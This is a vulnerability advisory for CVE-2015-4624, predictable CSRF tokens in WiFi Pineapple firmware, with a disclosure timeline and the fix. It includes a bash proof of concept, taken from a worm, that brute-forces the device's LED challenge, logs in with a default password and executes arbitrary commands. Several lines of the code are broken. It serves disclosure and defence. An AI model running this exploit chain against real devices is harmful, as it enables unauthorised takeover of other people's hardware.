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[CVE-2015-4624] Predictable CSRF tokens in WiFi Pineapple firmware <= 2.3.0

WiFi Pineapples are a penetration testing tool used in offensive
wireless activities. These devices run on a modified OpenWRT (based on
netBSD) operating system. They include a web-based management

It has been discovered they have predictable anti-CSRF tokens based on
the session ID, which generally would be a non-issue except combined
with a number of other minor configurations may allow devices to be

In the php processor on the WiFi Pineapple a session can be generated
by making any page request or optionally a session can be specified by
setting the PHPSESSID cookie to any value. In either case an anti-CSRF
token is generated once a user is successfully logged in. This token
is generated by:

$_SESSION['_csrfToken'] = sha1(session_id());

As near as I can tell this does not have a significant impact on
devices which have been fully configured. However on devices which are
Out-Of-The-Box (OOTB) configured this leads to the ability to execute
commands without fully configuring the device. Utilizing a default
password or brute forcing the LED challenge (v2.0.0-v2.3.0) to set a
known password and using that may allow an attacker to successfully
login and pass CSRF checks using a priori knowledge of the session or
taking the time to calculate it during the login process.

This appears to be unintentional as the antiCSRF token is only ever
passed to an authenticated client after the device is fully

New devices may be identified by a broadcast SSID. This SSID generally
takes the form of Pineapple5_ABCD.

Here is a brief PoC demonstrating these processes. Apologies if this
is missing some information, it's been pulled from a pineapple
infecting worm and reduced for some semblance of brevity. The original
worm may be found here and is designed to be run on a WiFi pineapple:

PoC (bash)

post() {
        len=`printf "$2" | wc -c`
        printf "POST $1 HTTP/1.1\r\nHost:\r\nContent-Type:
PHPSESSID=$3\r\nContent-Length: $len\r\nConnection: close\r\n\r\n$2" |
nc 1471

#Function solves the LED puzzle
bf() {
        echo "Brute forcing..."
        session=`printf 'HEAD /?action=verify_pineapple
HTTP/1.1\nHost:\nConnection: close\n\n' | nc 1471 | egrep -om1 '[0-9a-z]{32}'`
        for n in `seq 1 $1`
                echo "Trying $n time..."
                #change the puzzle until it matches our solution,
which is all lights on.
                post "/?action=verify_pineapple"
"$session" | grep "password" && post "/?action=set_password"
"$session" | grep "success" && return 0
        #return 1 - Failed!
        return 1
#Uses the post function to login for this session "poc"
#Once logged in other actions may be performed.
login() {
        echo "Logging in..."
        post '/includes/api/login.php'
"username=root&password=pineapplesareyummy&login=" "$sessid" | grep -i
'invalid username' && return 1
        echo "Logged in Successfully!"
        #return 0 - Succeeded!
        return 0

login || (bf 75 && login || exit)
post '/components/system/configuration/functions.php?execute='
"$token&commands=[PAYLOAD]" "$sessid"

===============END PoC


Unknown - Discovered multiple bugs in product
06/26/15  - Disclosed vulnerabilities to the vendor
08/04/15  - Vendor released firmware patching vulnerabilities

CVE-2015-4624: Predictable CSRF tokens in WiFi Pineapple firmware <= 2.3.0

Upgrade to the latest firmware (v2.4.0).

Special Thanks
Special thanks to Seb & Darren @hak5 for patching these bugs and
generally being chill. If you have bugs in any of hak5's gear they
accept bug reports here: bugs@xxxxxxxx